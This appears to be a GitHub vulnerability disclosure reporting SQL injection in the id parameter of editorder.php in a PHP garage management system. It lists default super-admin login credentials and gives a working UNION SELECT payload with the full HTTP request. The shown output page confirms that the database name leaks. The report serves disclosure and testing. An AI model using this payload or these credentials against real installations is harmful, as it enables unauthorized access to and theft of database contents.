

main

...

bug_report / vendors / mayuri_k / garage-management-system / SQLi-1.md



Happyd99 Create SQLi-1.md

History

1 contributor

31 lines (21 sloc) | 1.18 KB

...

Garage Management System v1.0 by mayuri_k has SQL injection

BUG_Author: Happyd99

Login account: mayuri.infospace@gmail.com/rootadmin (Super Admin account)

vendors: <https://www.sourcecodester.com/php/15485/garage-management-system-using-phpmysql-source-code.html>

The program is built using the xampp-php8.1 version

Vulnerability File: /garage/editorder.php?id=

Vulnerability location: /garage/editorder.php?id=, id

dbname = garagedb

[+] Payload: /garage/editorder.php?

id=-1+union+select+1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--+

// Leak place ---> id

GET /garage/editorder.php?id=-1+union+select+1,database(),3,4,5,6,7,8,9,10,11,12,13,
Host: 192.168.1.19

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: _ga=GA1.1.1382961971.1655097107; PHPSESSID=m6rramo7f8jalaggbvjh84b1mm
Connection: close



```
GET
/garage/editorder.php?id=-1+union+se
lect+1,database(),3,4,5,6,7,8,9,10,1
1,12,13,14,15,16,17,18,19,20,21,22,
23--+
HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows
NT 10.0; WOW64; rv:46.0)
Gecko/20100101 Firefox/46.0
Accept:
text/html,application/xhtml+xml,app
lication/xml;q=0.9,*/*;q=0.8
Accept-Language:
zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie:
_ga=GA1.1.1382961971.1655097107;
PHPSESSID=m6rramo7f8jalaggbvjh84b1m
m
Connection: close
```

- o [Logout](#)
- [Dashboard](#)
- [Invoices](#)
- [Add Invoice](#) [Manage Invoices](#)
- 0 [Home](#)
- 1 [Order](#)

Edit Order Management

0. [Home](#)

1. Edit Order

Order Date

garagedb

Client Name

Client Contact

Mechanic Name

Supervisor Name

Vehicle Type

Vehicle Name

Delivery Date

Delivery Time

ProductRate Available

Quantity

Quantity Total